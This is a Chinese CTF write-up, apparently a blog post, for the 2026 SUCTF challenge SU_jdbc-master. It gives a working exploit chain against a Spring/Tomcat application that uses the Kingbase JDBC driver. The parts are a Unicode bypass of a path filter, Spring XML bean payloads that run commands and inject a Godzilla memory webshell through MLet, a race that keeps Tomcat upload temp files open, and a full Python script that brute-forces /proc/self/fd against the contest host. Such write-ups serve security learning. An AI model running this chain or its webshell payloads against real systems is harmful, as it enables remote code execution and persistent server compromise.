Featured image of post 2026SUCTFwp

2026SUCTFwp

2026SUCTFwp

SU_jdbc-master

首先看到题目不出网,然后看jar包

image-20260316201322495

这个路由会测试数据库连接,但是PathInterceptor这个类对suctf字符串进行了waf,通过unicode绕过,这里我在windows本地起这个测试一下bypass

image-20260316201753536

然后注意到driver里面还有另一个jar包kingbase8.jar,webconfig类里面写了

image-20260316202318736

image-20260316202548424

也就是说我们是我们只要带上连接串参数ConfigurePath,指定后面的文件,就能让它加载我们指定的内容,可是题目不出网,又没有上传接口,怎么让它加载我们的文件呢,这里想到之前p神的文章:ClassPathXmlApplicationContext的不出网利用 | 离别歌

明显我们只要让配置文件里面的内容为

1
2
socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext
socketFactoryArg=http://127.0.0.1:7777/poc.xml

指定两个参数的内容,就能跟p神的挑战一样加载恶意xml,本地准备一个弹计算器的xml测试一下

1
2
3
4
5
6
7
8
<beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
    <bean id="runtime" class="java.lang.Runtime" factory-method="getRuntime" />
    <bean id="exec" factory-bean="runtime" factory-method="exec">
        <constructor-arg value="calc.exe" />
    </bean>
</beans>

image-20260316203238900

确实弹计算器了,但是题目确实没有上传的地方,p神的文章提到

image-20260316203406399

image-20260316203420692

这里p神演示的是windows环境下的打法,我本地起docker观察一下linux的情况

image-20260316203708799

也就是说linux下临时文件存在/tmp/tomcat.*/work/Tomcat/localhost/ROOT/upload_*.tmp

然后现在的问题是,我们既要上传配置文件,又要上传xml,这有俩临时文件,linux下临时文件会暂存在fd中

也就是我们先要上传恶意xml,再上传配置文件,这个时候通过竞争,再发送json去加载我们的配置文件,配置文件调用ClassPathXmlApplicationContext加载恶意xml,显然要爆fd,让请求这个json成功加载到临时文件中的配置文件

这里参考从JDBC MySQL不出网攻击到spring临时文件利用-先知社区fastjson1.2.83(开autotype)+mysql不出网利用 – fushulingのblog

image-20260316204614367

这里我跟着大佬的脚本进行测试的时候,发现了问题,我写入的临时文件在fd里面总是少掉最后一行,那我直接手动加上一行没用的数据不就行了

1
2
3
socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext
socketFactoryArg=file:///tmp/tomcat.*/work/Tomcat/localhost/ROOT/upload_*.tmp
xxxxxxxxxxxxxx

然后准备内存马,这里用jmg工具生成哥斯拉马

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
<beans
    xmlns="http://www.springframework.org/schema/beans"
    xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xsi:schemaLocation="http://www.springframework.org/schema/beans
                           http://www.springframework.org/schema/beans/spring-beans.xsd">
    <bean id="decoder" class="org.springframework.beans.factory.config.MethodInvokingFactoryBean">
        <property name="staticMethod" value="org.springframework.util.Base64Utils.decodeFromString"/>
        <property name="arguments">
            <list>
                <value>yv66vgAAADIBCgEAWW9yZy9hcGFjaGUvc2hpcm8vY295b3RlL2ludHJvc3BlY3QvQW5ub3RhdGVkQ2xhc3NSZXNvbHZlcjY0OWE5NDMxN2E4YzQzY2JhYTI0MzI5YmJhZjM0NTU2BwABAQAQamF2YS9sYW5nL09iamVjdAcAAwEADWdldFVybFBhdHRlcm4BABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEAAi8qCAAHAQAMZ2V0Q2xhc3NOYW1lAQBNb3JnLmFwYWNoZS5iZWFudXRpbH...(一大堆base64)</value>
            </list>
        </property>
    </bean>
    <bean id="classLoader" class="javax.management.loading.MLet"/>
    <bean id="clazz" factory-bean="classLoader" factory-method="defineClass">
        <constructor-arg ref="decoder"/>
        <constructor-arg type="int" value="0"/>
        <constructor-arg type="int" value="9166"/>
    </bean>
    <bean factory-bean="clazz" factory-method="newInstance"/>
</beans>
</beans>

还是没法打入内存马,这里查看docker日志发现ClassPathXmlApplicationContext加载的临时文件一直是它配置文件本身,后面调半天知道是加载的临时文件是根据字符大小来加载的,字符数小的先加载,所以通配符这里不能指定所有tmp文件

1
2
3
socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext
socketFactoryArg=file:///tmp/tomcat.*/work/Tomcat/localhost/ROOT/upload_*1.tmp
xxxxxxxxxxxxxx

然后这里根据出题人fushuling师傅的wp

image-20260317220601009

image-20260317220617266

最终得到exp,这里不知道为什么加载本地文件打不通,这里直接把payload加到脚本里,非常丑陋,但是能打通(

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
import socket
import threading
import time
import requests
import json

HOST = "1.95.113.59"
PORT = 10019
# HOST = "192.168.247.137"
# PORT = 8080
def cache_tmp():
    a = b"""POST /api/connection/%C5%BFuctf HTTP/1.1
Host: 192.168.247.137:8080
Accept-Encoding: gzip, deflate
Accept: */*
Content-Type: multipart/form-data; boundary=xxxxxxxx;
User-Agent: python-requests/2.32.3
Content-Length: 1999999

--xxxxxxxx
Content-Disposition: form-data; name="file"; filename="a.txt"

socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext
socketFactoryArg=file:///tmp/tomcat.*/work/Tomcat/localhost/ROOT/upload_*1.tmp
xxxxxxxxxxxxxx

""".replace(
        b"\n", b"\r\n"
    )
    s = socket.socket()
    s.connect((HOST, PORT))
    s.sendall(a)
    time.sleep(1111111)
def cache_tmp2():
    a = b"""POST /api/connection/%C5%BFuctf HTTP/1.1
Host: 192.168.247.137:8080
Accept-Encoding: gzip, deflate
Accept: */*
Content-Type: multipart/form-data; boundary=xxxxxxxx;
User-Agent: python-requests/2.32.3
Content-Length: 1999999

--xxxxxxxx
Content-Disposition: form-data; name="file"; filename="a.txt"

<beans
    xmlns="http://www.springframework.org/schema/beans"
    xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xsi:schemaLocation="http://www.springframework.org/schema/beans
                           http://www.springframework.org/schema/beans/spring-beans.xsd">
    <bean id="decoder" class="org.springframework.beans.factory.config.MethodInvokingFactoryBean">
        <property name="staticMethod" value="org.springframework.util.Base64Utils.decodeFromString"/>
        <property name="arguments">
            <list>
                <value>yv66vgAAADIBCgEAZm9yZy9hcGFjaGUvY29sbGVjdGlvbnMvY295b3RlL2pzb250eXBlL2ltcGwvQXNQcm9wZXJ0eVR5cGVEZX...</value>
            </list>
        </property>
    </bean>
    <bean id="classLoader" class="javax.management.loading.MLet"/>
    <bean id="clazz" factory-bean="classLoader" factory-method="defineClass">
        <constructor-arg ref="decoder"/>
        <constructor-arg type="int" value="0"/>
        <constructor-arg type="int" value="9237"/>
    </bean>
    <bean factory-bean="clazz" factory-method="newInstance"/>
</beans>
</beans>
""".replace(
        b"\n", b"\r\n"
    )
    s = socket.socket()
    s.connect((HOST, PORT))
    s.sendall(a)
    time.sleep(1111111)
def exp():
    url = f"http://{HOST}:{PORT}/api/connection/%C5%BFuctf"
    headers = {
        "Host": "127.0.0.1:8080",
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0",
        "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
        "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
        "X-Authorization": "whoami",
        "Content-Type": "application/json",
    }
    for fd in range(40, 101):
        print(f"当前爆破到fd: {fd}")
        named_pipe_path = f"/proc/self/fd/{fd}"
        payload = {
            "driver":   "com.kingbase8.Driver",
            "urlType":  "jdbcUrl",
            "jdbcUrl":  f"jdbc:kingbase8:?ConfigurePath={named_pipe_path}",
        }
        
        payload_json = json.dumps(payload).encode("utf-8")
        headers["Content-Length"] = str(len(payload_json))
        try:
            response = requests.post(url, headers=headers, data=payload_json, timeout=5)
            print(response.text)
        except Exception:
            continue
threading.Thread(target=cache_tmp2).start()
threading.Thread(target=cache_tmp2).start()
threading.Thread(target=cache_tmp2).start()
threading.Thread(target=cache_tmp2).start()
threading.Thread(target=cache_tmp2).start()
threading.Thread(target=cache_tmp2).start()
threading.Thread(target=cache_tmp2).start()
threading.Thread(target=cache_tmp2).start()
threading.Thread(target=cache_tmp2).start()

time.sleep(3)        
threading.Thread(target=cache_tmp).start()

time.sleep(3)
exp()

image-20260316210014853

Licensed under 9u_l3
使用 Hugo 构建
主题 StackJimmy 设计